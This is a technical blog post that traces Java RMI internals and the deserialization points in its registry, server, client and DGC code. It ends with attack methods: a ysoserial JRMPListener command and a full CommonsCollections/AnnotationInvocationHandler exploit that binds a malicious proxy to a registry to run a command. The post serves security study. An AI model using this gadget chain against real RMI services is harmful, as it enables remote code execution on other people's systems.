Java RMI

Java-RMI

Introduction

RMI is Remote Method Invocation, which offers a remote interface as Java’s RPC framework to the application.

Procedure

The procedure can be represented as the following graph.

Code Analysing

DEMO

First, let’s write a RMI demo.

The java env is jdk8u65

Server

1
2
3
4
//RemoteObj
public interface RemoteObj extends Remote{
public String sayHello(String Keywords) throws RemoteException;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
//RemoteObjImpl
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj{

public RemoteObjImpl() throws RemoteException {
}

@Override
public String sayHello(String Keywords)throws RemoteException {
String upKeywords = Keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
1
2
3
4
5
6
7
8
//RemoteServer
public class RemoteServer {
public static void main(String[] argc) throws RemoteException, AlreadyBoundException {
RemoteObj remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", remoteObj);
}
}

Client

1
2
3
4
5
6
7
8
//RMIClient
public class RMIClient {
public static void main(String[] argc) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("Let's go!"));
}
}

Create a RemoteObj

1
RemoteObj remoteObj = new RemoteObjImpl();

It seems a simple instantiation, but remember that we have extended the UnicastRemoteObject.

So let’s see what happened inside.

Firstly, we come into the UnicastRemoteObject#exportObject.

We can see this method published a Remote obj on the server(port: 0 means a random port).

Here, the UnicastServerRef encapsulates various network information.

From my opinion, UnicastServerRef is something to deal with the stub while LiveRef is to deal with the Internet.

Then, our object will be encapsulated into the UnicastServerRef too.

Then, UnicastServerRef create a stub for the Object, and encapsulates the impl and stub and something into a whole Target

Then follows another exportObject.

Finally, the server will listen to the port and handle the requests.

At last, there is a another exportObject

Let’s see what’s in the ObjectTable.putTarget

The target will finally be put into the objTable and implTable

That means we can lookup the target by ObjectEndpoint or Implementation

Register the RemoteObj

Actually, the Target has a random port, which is unfriendly to the client.

So we can create a registry on a specific port and bind the RemoteObj.

Create a Registry

First, let’s see how to create a registry.

First we create a LiveRef encapsulated with the network information.

Then we encapsulate the LiveRef into the UnicastServerRef and call the setup method.

where call the UnicastServerRef#exportObject again.

But this time, we enter into the setSkeleton

Here we use reflection to create RegistryImpl_Skel, which implements every operation in register.

and finally, the stub will be encapsulated as a Target and exported.

But there are three stuff in the objTable.

Two are what we created, the other is DGC, distributed garbage-collection

bind

It’s very easy, just put the name and RemoteObj into the Hashtable.

Visit Registry to fetch the RemoteObj

From Client View

What happened when the client try to connect the registry.

Finally, we can find we create a proxy of the Registry.

Then let’s check about the registry.lookup

Here, we get the Registry’s dynamic proxy Stub, and deserialize the return value.

In this decompiled file, we can’t make breakpoint, but we can still follow the program.

Follow the invoke() —> call.executeCall()

We can find a deserialize code here.

That means, if the registry returns a a malicious class, it is possible to create a hidden deserialization vulnerability on the client.

And once the client call the invoke, it may cause the vulnerability.

From Registry View

make a breakpoint in Transport#serviceCall

We can see the Registry receives a stub, which includes a ref.

Then the skel will be put into the disp and call disp.dispatch()

Then we go into the oldDispatch

Following the skel.dispatch()

op represents the client’s operation.

1
2
3
4
5
0->bind
1->list
2->lookup
3->rebind
4->unbind

So, in RegistryImpl_Skel#dispatch, there are some case code block, and some of them are vulnerable, which means the hacker can attack the registry from client.

  • bind

  • lookup

  • rebind

  • unbind

In our lookup request, it will finally go into the lookup method, and get the RemoteObj from bindings, and return a serialization value.

Call Remote Method

From Client View

We should remember that the remoteObj we received is a Proxy, so what happened when we called remoteObj.sayHello at the client side?

Following the code, we can find we finally called UnicastRef#invoke to call remote method.

Here we serialize our parameters, and call a dangerous method call.executeCall()

Besides, the unmarkedshalValue method here is also dangerous. Because it can Deserialize a malicious class.

From Server View

As the last section, we make a breakpoint in Transport#serviceCall

Same as before, we go into the UnicastServerRef#dispatch

But this time, we will not call the oldDispatch

And the method here is the sayHello()

But next, we can see the unmarshalValue method here, which means there exists a deserialization vulnerability.

And finally, server will make a reflection call and pack the response.

DGC

DGC is an automatically created class to clean up memory.

As we metioned in 3.3.1, we also put a DGCImpl_Stub into the objTable

Like Registry at client side, we will also create a DGCImpl_Stub

However, there both exists Deserialization in DGCImpl_Stub#dirty and DGCImpl_Skel#dispatch

So it is also vulnerable.

Attack Method

Attack Client

Registry attack Client

As we discussed before, if we call the RegistryImpl_Stub#lookup, it will deserialize the data from the registry.

Therefore, here is vulnerable and we can use ysoserial to generate the payload.

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'open -a calculator'

Besides, RegistryImpl_Stub#bind, RegistryImpl_Stub#list can also trigger this vulnerability.

Server attack Client

  1. When the server returns an object to the client, the client has to deserialize it . So if we returned a evil malicious object, the client will be attack.

  2. Remote Class Loading

    Server returns a non-existent class to Client, requiring Client to go to codebase address to remotely load malicious class triggers vulnerability.

    https://paper.seebug.org/1091/

The conditions for such exploit are very harsh and the availability is not strong.

Attack Server

  1. malicious parameter

    A deserialization vulnerability can be triggered by a malicious Client passing in a malicious data stream when the invoked method on the Server side has parameters of a non-basic type.

    If the server ask to receive a specific type, we can use some way to bypass the limitation.

  2. Remote Class Loading

Attack Registry

If we are a malicious Server side that delivers a malicious object to the Registry side (Server and Registry are not on the same host), a malicious call can be triggered on its deserialization.

But, the class we bind must extends Remote class.

So we can use AnnotationInvocationHandler to create a dynamic proxy of Remote.

1
2
3
4
AnnotationInvocationHandler.invoke()
-->TiedMapEntry.get()
-->LazyMap.get()
-->ConstantTransformer.transform()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class RemoteServer {
public static void main(String[] argc) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Transformer transformer = ChainedTransformer.getInstance(
new Transformer[]{
ConstantTransformer.getInstance(
Runtime.class
),
InvokerTransformer.getInstance(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
InvokerTransformer.getInstance(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
InvokerTransformer.getInstance(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
),
ConstantTransformer.getInstance(123)
}
);
Map expMap = LazyMap.decorate(new HashMap<Object, Object>(), transformer);
Map tmpMap = LazyMap.decorate(new HashMap<Object, Object>(), new ConstantTransformer("1"));
TiedMapEntry map = new TiedMapEntry(tmpMap, "exp");
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
hashMap.put(map, 1);
Class c = TiedMapEntry.class;
Field field = c.getDeclaredField("map");
field.setAccessible(true);
field.set(map, expMap);

Class C = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = C.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, hashMap);

Remote evil = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

registry.rebind("evil", evil);
}
}

Reference

https://su18.org/post/rmi-attack/

https://drun1baby.top/2022/07/19/Java反序列化之RMI专题01-RMI基础/

https://drun1baby.top/2022/07/23/Java反序列化之RMI专题02-RMI的几种攻击方式/

https://p4d0rn.gitbook.io/java/prerequisites/rmi